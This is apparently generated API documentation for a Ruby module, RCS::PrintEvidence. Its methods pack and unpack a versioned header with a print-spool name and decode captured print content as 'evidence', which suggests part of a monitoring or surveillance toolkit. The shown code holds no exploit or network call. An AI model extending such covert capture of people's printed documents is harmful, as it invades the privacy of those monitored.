Module: RCS::PrintEvidence

Defined in:
lib/rcs-common/evidence/print.rb

Constant Summary collapse

2009031201

Instance Method Summary collapse

Instance Method Details

#additional_headerObject



18
19
20
21
22
23
24
25
# File 'lib/rcs-common/evidence/print.rb', line 18

def additional_header
  name = 'ASP_Common.h'.to_utf16le_binary
  header = StringIO.new
  header.write [PRINT_VERSION, name.size].pack("I*")
  header.write name

  header.string
end

#contentObject



9
10
11
12
# File 'lib/rcs-common/evidence/print.rb', line 9

def content
  path = File.join(File.dirname(__FILE__), 'content', 'print', '001.jpg')
  File.open(path, 'rb') {|f| f.read }
end

#decode_additional_header(data) ⇒ Object



27
28
29
30
31
32
33
34
35
36
37
38
39
# File 'lib/rcs-common/evidence/print.rb', line 27

def decode_additional_header(data)
  raise EvidenceDeserializeError.new("incomplete PRINT") if data.nil? or data.bytesize == 0

  binary = StringIO.new data

  version, name_len = binary.read(8).unpack("I*")
  raise EvidenceDeserializeError.new("invalid log version for PRINT") unless version == PRINT_VERSION

  ret = Hash.new
  ret[:data] = Hash.new
  ret[:data][:spool] = binary.read(name_len).utf16le_to_utf8
  return ret
end

#decode_content(common_info, chunks) {|info| ... } ⇒ Object

Yields:

  • (info)


41
42
43
44
45
46
47
# File 'lib/rcs-common/evidence/print.rb', line 41

def decode_content(common_info, chunks)
  info = Hash[common_info]
  info[:data] ||= Hash.new
  info[:grid_content] = chunks.first
  yield info if block_given?
  :delete_raw
end

#generate_contentObject



14
15
16
# File 'lib/rcs-common/evidence/print.rb', line 14

def generate_content
  [ content ]
end